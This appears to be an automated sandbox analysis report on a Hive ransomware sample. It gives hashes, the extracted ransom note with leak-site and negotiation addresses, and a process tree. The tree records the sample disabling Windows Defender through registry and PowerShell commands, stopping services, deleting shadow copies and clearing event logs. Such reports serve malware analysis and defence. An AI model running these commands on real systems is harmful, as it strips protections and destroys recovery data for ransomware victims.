Resubmissions

12-01-2022 19:26

220112-x5ql3sdgdr 10

12-01-2022 16:53

220112-vdzdssddcl 10

Analysis

  • max time kernel
    249s
  • max time network
    192s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    12-01-2022 19:26

General

  • Target

    5baa791a0bcaff60080472bfa434631bc7524b8a10989ed6e7b200f010cb8e1d.exe

  • Size

    3.1MB

  • MD5

    f5d7efaec3c1274b0aaa704a6caa1671

  • SHA1

    ec5c25e1cee1dca5c75baf5a6e3bec69441959dc

  • SHA256

    5baa791a0bcaff60080472bfa434631bc7524b8a10989ed6e7b200f010cb8e1d

  • SHA512

    dab0a8060e9012706ae6ba46adeb2f18e5edecdc187e856989236dd0edb46ed7912cee97cee1c9fb075724c5d736b07e418991d1a3793bee6770d51618dd607f

Malware Config

Extracted

Path

C:\Program Files\7-Zip\GyDM_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: 7nVm318mZGHq Password: yDfdV72zJcLft6fDRx3y To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.jhps7 files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies registry class 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\5baa791a0bcaff60080472bfa434631bc7524b8a10989ed6e7b200f010cb8e1d.exe
    "C:\Users\Admin\AppData\Local\Temp\5baa791a0bcaff60080472bfa434631bc7524b8a10989ed6e7b200f010cb8e1d.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3480
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1292
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:3484
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1248
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:2548
        • C:\Windows\SysWOW64\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3700
          • C:\Windows\SysWOW64\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:2500
          • C:\Windows\SysWOW64\net.exe
            net.exe stop "UI0Detect" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:3652
            • C:\Windows\SysWOW64\net1.exe
              C:\Windows\system32\net1 stop "UI0Detect" /y
              3⤵
                PID:3268
            • C:\Windows\SysWOW64\net.exe
              net.exe stop "vmicvss" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:2688
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "vmicvss" /y
                3⤵
                  PID:2112
              • C:\Windows\SysWOW64\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:328
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:1788
                • C:\Windows\SysWOW64\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3328
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:3872
                  • C:\Windows\SysWOW64\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:3676
                    • C:\Windows\SysWOW64\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:956
                    • C:\Windows\SysWOW64\net.exe
                      net.exe stop "UnistoreSvc_13561" /y
                      2⤵
                      • Suspicious use of WriteProcessMemory
                      PID:60
                      • C:\Windows\SysWOW64\net1.exe
                        C:\Windows\system32\net1 stop "UnistoreSvc_13561" /y
                        3⤵
                          PID:1300
                      • C:\Windows\SysWOW64\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:948
                        • C:\Windows\SysWOW64\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:2380
                          • C:\Windows\SysWOW64\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:2356
                            • C:\Windows\SysWOW64\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:1848
                              • C:\Windows\SysWOW64\sc.exe
                                sc.exe config "vmicvss" start= disabled
                                2⤵
                                  PID:4048
                                • C:\Windows\SysWOW64\sc.exe
                                  sc.exe config "VSS" start= disabled
                                  2⤵
                                    PID:1772
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc.exe config "wbengine" start= disabled
                                    2⤵
                                      PID:3128
                                    • C:\Windows\SysWOW64\sc.exe
                                      sc.exe config "WebClient" start= disabled
                                      2⤵
                                        PID:3004
                                      • C:\Windows\SysWOW64\sc.exe
                                        sc.exe config "UnistoreSvc_13561" start= disabled
                                        2⤵
                                          PID:1324
                                        • C:\Windows\SysWOW64\reg.exe
                                          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                          2⤵
                                            PID:1524
                                          • C:\Windows\SysWOW64\reg.exe
                                            reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                            2⤵
                                              PID:1384
                                            • C:\Windows\SysWOW64\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                              2⤵
                                                PID:2132
                                              • C:\Windows\SysWOW64\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:3196
                                                • C:\Windows\SysWOW64\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                                  2⤵
                                                    PID:2676
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:1680
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:2860
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:2884
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:2668
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:2548
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                              2⤵
                                                                PID:1548
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                                2⤵
                                                                  PID:2500
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:600
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:2112
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                      2⤵
                                                                        PID:3040
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                        2⤵
                                                                          PID:2864
                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                          2⤵
                                                                            PID:364
                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                            2⤵
                                                                              PID:684
                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                              2⤵
                                                                                PID:1992
                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                                2⤵
                                                                                  PID:332
                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                  schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                                  2⤵
                                                                                    PID:2556
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                    2⤵
                                                                                      PID:3952
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                      2⤵
                                                                                        PID:2120
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                        2⤵
                                                                                          PID:2224
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:3132
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:3124
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                          • Modifies registry class
                                                                                          PID:1520
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                          2⤵
                                                                                            PID:2276
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:3536
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:3204
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:4020
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                  • Modifies security service
                                                                                                  PID:3824
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:952
                                                                                                  • C:\Windows\SysWOW64\vssadmin.exe
                                                                                                    vssadmin.exe delete shadows /all /quiet
                                                                                                    2⤵
                                                                                                    • Interacts with shadow copies
                                                                                                    PID:3512
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl system
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3496
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl security
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:528
                                                                                                  • C:\Windows\SysWOW64\wevtutil.exe
                                                                                                    wevtutil.exe cl application
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3616
                                                                                                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                    wmic.exe SHADOWCOPY /nointeractive
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:4080
                                                                                                  • C:\Windows\SysWOW64\Wbem\wmic.exe
                                                                                                    wmic.exe shadowcopy delete
                                                                                                    2⤵
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:3120
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                    2⤵
                                                                                                      PID:3928
                                                                                                      • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                        "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                        3⤵
                                                                                                        • Deletes Windows Defender Definitions
                                                                                                        PID:1496
                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                      cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                      2⤵
                                                                                                        PID:1784
                                                                                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                          powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                          3⤵
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          PID:1764
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                        2⤵
                                                                                                          PID:816
                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:3388

                                                                                                      Network

                                                                                                      MITRE ATT&CK Enterprise v6

                                                                                                      Replay Monitor

                                                                                                      Loading Replay Monitor...

                                                                                                      Downloads

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

                                                                                                        MD5

                                                                                                        1c19c16e21c97ed42d5beabc93391fc5

                                                                                                        SHA1

                                                                                                        8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

                                                                                                        SHA256

                                                                                                        1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

                                                                                                        SHA512

                                                                                                        7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

                                                                                                      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                        MD5

                                                                                                        46213c672e82f1f8c20669652a1606a5

                                                                                                        SHA1

                                                                                                        b0c123a57ae84b56a8559c4c964066274e2d1ad4

                                                                                                        SHA256

                                                                                                        7d8e1c5b27262d3330fd6535755326519e523f27946933e7352d9c681a3b3d71

                                                                                                        SHA512

                                                                                                        c58884ac19a9069d93916bb4fea48579d6ce653822b5ab1fb5ca146747bd4707600886d9febe2a810e3699aca3e8ecf9184f340f6ca6f6461329c551d1ef6b45

                                                                                                      • memory/60-131-0x0000000000000000-mapping.dmp

                                                                                                      • memory/328-125-0x0000000000000000-mapping.dmp

                                                                                                      • memory/332-161-0x0000000000000000-mapping.dmp

                                                                                                      • memory/364-158-0x0000000000000000-mapping.dmp

                                                                                                      • memory/528-177-0x0000000000000000-mapping.dmp

                                                                                                      • memory/600-154-0x0000000000000000-mapping.dmp

                                                                                                      • memory/684-159-0x0000000000000000-mapping.dmp

                                                                                                      • memory/948-133-0x0000000000000000-mapping.dmp

                                                                                                      • memory/952-174-0x0000000000000000-mapping.dmp

                                                                                                      • memory/956-130-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1248-117-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1292-115-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1300-132-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1324-141-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1384-143-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1520-168-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1524-142-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1548-152-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1680-147-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1764-205-0x00000000073F0000-0x0000000007456000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/1764-415-0x0000000009080000-0x0000000009088000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/1764-184-0x0000000006D50000-0x0000000007378000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/1764-209-0x0000000008AF0000-0x0000000008B0E000-memory.dmp

                                                                                                        Filesize

                                                                                                        120KB

                                                                                                      • memory/1764-208-0x0000000007D80000-0x0000000007DF6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/1764-183-0x0000000000C32000-0x0000000000C33000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/1764-182-0x0000000004290000-0x00000000042C6000-memory.dmp

                                                                                                        Filesize

                                                                                                        216KB

                                                                                                      • memory/1764-181-0x0000000000C30000-0x0000000000C31000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/1764-179-0x00000000008F0000-0x00000000008F1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/1764-207-0x0000000007610000-0x000000000765B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/1764-215-0x0000000000C33000-0x0000000000C34000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/1764-216-0x0000000009190000-0x0000000009224000-memory.dmp

                                                                                                        Filesize

                                                                                                        592KB

                                                                                                      • memory/1764-206-0x0000000007560000-0x00000000075C6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/1764-185-0x0000000006930000-0x0000000006952000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/1764-180-0x00000000008F0000-0x00000000008F1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/1764-186-0x00000000073F0000-0x0000000007456000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/1764-409-0x0000000009090000-0x00000000090AA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/1764-187-0x0000000007560000-0x00000000075C6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/1764-188-0x0000000007700000-0x0000000007A50000-memory.dmp

                                                                                                        Filesize

                                                                                                        3.3MB

                                                                                                      • memory/1764-189-0x00000000075F0000-0x000000000760C000-memory.dmp

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                      • memory/1764-204-0x0000000006930000-0x0000000006952000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/1764-203-0x0000000008BB0000-0x0000000008BE3000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/1764-190-0x0000000007610000-0x000000000765B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/1764-414-0x0000000009090000-0x00000000090AA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/1764-191-0x0000000007D80000-0x0000000007DF6000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/1764-214-0x0000000008E10000-0x0000000008EB5000-memory.dmp

                                                                                                        Filesize

                                                                                                        660KB

                                                                                                      • memory/1764-192-0x00000000008F0000-0x00000000008F1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/1764-202-0x0000000008BB0000-0x0000000008BE3000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/1764-420-0x0000000009080000-0x0000000009088000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/1764-200-0x0000000006D50000-0x0000000007378000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/1764-201-0x000000007E950000-0x000000007E951000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/1772-138-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1788-126-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1848-136-0x0000000000000000-mapping.dmp

                                                                                                      • memory/1992-160-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2112-124-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2112-155-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2120-164-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2132-144-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2224-165-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2276-169-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2356-135-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2380-134-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2500-120-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2500-153-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2548-151-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2548-118-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2556-162-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2668-150-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2676-146-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2688-123-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2860-148-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2864-157-0x0000000000000000-mapping.dmp

                                                                                                      • memory/2884-149-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3004-140-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3040-156-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3124-167-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3128-139-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3132-166-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3196-145-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3204-171-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3268-122-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3328-127-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3388-434-0x0000000006D30000-0x0000000007358000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/3388-454-0x0000000008AD0000-0x0000000008B03000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/3388-673-0x0000000008F80000-0x0000000008F88000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/3388-668-0x0000000008F80000-0x0000000008F88000-memory.dmp

                                                                                                        Filesize

                                                                                                        32KB

                                                                                                      • memory/3388-662-0x0000000008F90000-0x0000000008FAA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/3388-667-0x0000000008F90000-0x0000000008FAA000-memory.dmp

                                                                                                        Filesize

                                                                                                        104KB

                                                                                                      • memory/3388-485-0x00000000066F3000-0x00000000066F4000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3388-483-0x000000007F850000-0x000000007F851000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3388-467-0x0000000009010000-0x00000000090A4000-memory.dmp

                                                                                                        Filesize

                                                                                                        592KB

                                                                                                      • memory/3388-466-0x0000000008EC0000-0x0000000008F65000-memory.dmp

                                                                                                        Filesize

                                                                                                        660KB

                                                                                                      • memory/3388-461-0x0000000008AB0000-0x0000000008ACE000-memory.dmp

                                                                                                        Filesize

                                                                                                        120KB

                                                                                                      • memory/3388-456-0x0000000006AE0000-0x0000000006B02000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3388-433-0x0000000004140000-0x0000000004176000-memory.dmp

                                                                                                        Filesize

                                                                                                        216KB

                                                                                                      • memory/3388-457-0x0000000006B80000-0x0000000006BE6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3388-435-0x00000000066F0000-0x00000000066F1000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3388-436-0x00000000066F2000-0x00000000066F3000-memory.dmp

                                                                                                        Filesize

                                                                                                        4KB

                                                                                                      • memory/3388-437-0x0000000006AE0000-0x0000000006B02000-memory.dmp

                                                                                                        Filesize

                                                                                                        136KB

                                                                                                      • memory/3388-439-0x0000000007420000-0x0000000007486000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3388-438-0x0000000006B80000-0x0000000006BE6000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3388-440-0x0000000007490000-0x00000000077E0000-memory.dmp

                                                                                                        Filesize

                                                                                                        3.3MB

                                                                                                      • memory/3388-458-0x0000000007420000-0x0000000007486000-memory.dmp

                                                                                                        Filesize

                                                                                                        408KB

                                                                                                      • memory/3388-442-0x00000000078F0000-0x000000000790C000-memory.dmp

                                                                                                        Filesize

                                                                                                        112KB

                                                                                                      • memory/3388-443-0x0000000007C40000-0x0000000007C8B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/3388-444-0x0000000007CA0000-0x0000000007D16000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3388-453-0x0000000006D30000-0x0000000007358000-memory.dmp

                                                                                                        Filesize

                                                                                                        6.2MB

                                                                                                      • memory/3388-455-0x0000000008AD0000-0x0000000008B03000-memory.dmp

                                                                                                        Filesize

                                                                                                        204KB

                                                                                                      • memory/3388-459-0x0000000007C40000-0x0000000007C8B000-memory.dmp

                                                                                                        Filesize

                                                                                                        300KB

                                                                                                      • memory/3388-460-0x0000000007CA0000-0x0000000007D16000-memory.dmp

                                                                                                        Filesize

                                                                                                        472KB

                                                                                                      • memory/3484-116-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3496-176-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3512-175-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3536-170-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3616-178-0x0000000000000000-mapping.dmp

                                                                                                      • memory/3652-121-0x0000000000000000-mapping.dmp

